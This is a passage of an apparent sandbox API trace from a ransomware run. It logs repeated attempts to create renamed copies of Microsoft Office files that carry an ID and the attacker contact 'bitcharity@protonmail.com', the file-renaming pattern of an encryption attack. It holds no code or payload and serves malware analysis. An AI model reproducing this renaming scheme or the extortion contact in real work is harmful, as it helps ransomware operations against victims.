dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.693] CloseHandle (hObject=0x128c) returned 1 [0272.694] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.694] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BRAINSTM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\brainstm.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.695] CloseHandle (hObject=0x128c) returned 1 [0272.696] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.696] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGDATA.TXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgdata.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.696] CloseHandle (hObject=0x128c) returned 1 [0272.697] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.697] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGDATA.XLS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgdata.xls.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.698] CloseHandle (hObject=0x128c) returned 1 [0272.698] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.698] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.699] CloseHandle (hObject=0x128c) returned 1 [0272.700] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.700] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.700] CloseHandle (hObject=0x128c) returned 1 [0272.701] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.701] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.702] CloseHandle (hObject=0x128c) returned 1 [0272.702] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.702] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.702] CloseHandle (hObject=0x128c) returned 1 [0272.711] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.711] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.711] CloseHandle (hObject=0x128c) returned 1 [0272.929] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.929] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.930] CloseHandle (hObject=0xff0) returned 1 [0272.931] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.931] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.932] CloseHandle (hObject=0xff0) returned 1 [0272.932] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.932] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.932] CloseHandle (hObject=0xff0) returned 1 [0272.933] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.933] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.934] CloseHandle (hObject=0xff0) returned 1 [0272.934] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.934] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.934] CloseHandle (hObject=0xff0) returned 1 [0272.935] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.935] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.936] CloseHandle (hObject=0xff0) returned 1 [0272.936] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.936] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.937] CloseHandle (hObject=0xff0) returned 1 [0272.938] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.938] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.938] CloseHandle (hObject=0xff0) returned 1 [0272.939] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.939] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.939] CloseHandle (hObject=0xff0) returned 1 [0272.940] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.940] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.941] CloseHandle (hObject=0xff0) returned 1 [0272.941] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.941] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.941] CloseHandle (hObject=0xff0) returned 1 [0272.942] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.942] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.942] CloseHandle (hObject=0xff0) returned 1 [0272.943] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.943] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.943] CloseHandle (hObject=0xff0) returned 1 [0272.943] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.944] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.944] CloseHandle (hObject=0xff0) returned 1 [0272.945] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.945] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.945] CloseHandle (hObject=0xff0) returned 1 [0272.946] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.946] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.946] CloseHandle (hObject=0xff0) returned 1 [0272.947] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.947] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.947] CloseHandle (hObject=0xff0) returned 1 [0272.948] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.948] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.948] CloseHandle (hObject=0xff0) returned 1 [0272.948] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.948] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.949] CloseHandle (hObject=0xff0) returned 1 [0272.949] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.949] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.949] CloseHandle (hObject=0xff0) returned 1 [0272.950] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.950] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.950] CloseHandle (hObject=0xff0) returned 1 [0272.951] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.951] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.951] CloseHandle (hObject=0xff0) returned 1 [0272.953] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.953] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.953] CloseHandle (hObject=0xff0) returned 1 [0272.954] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.954] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 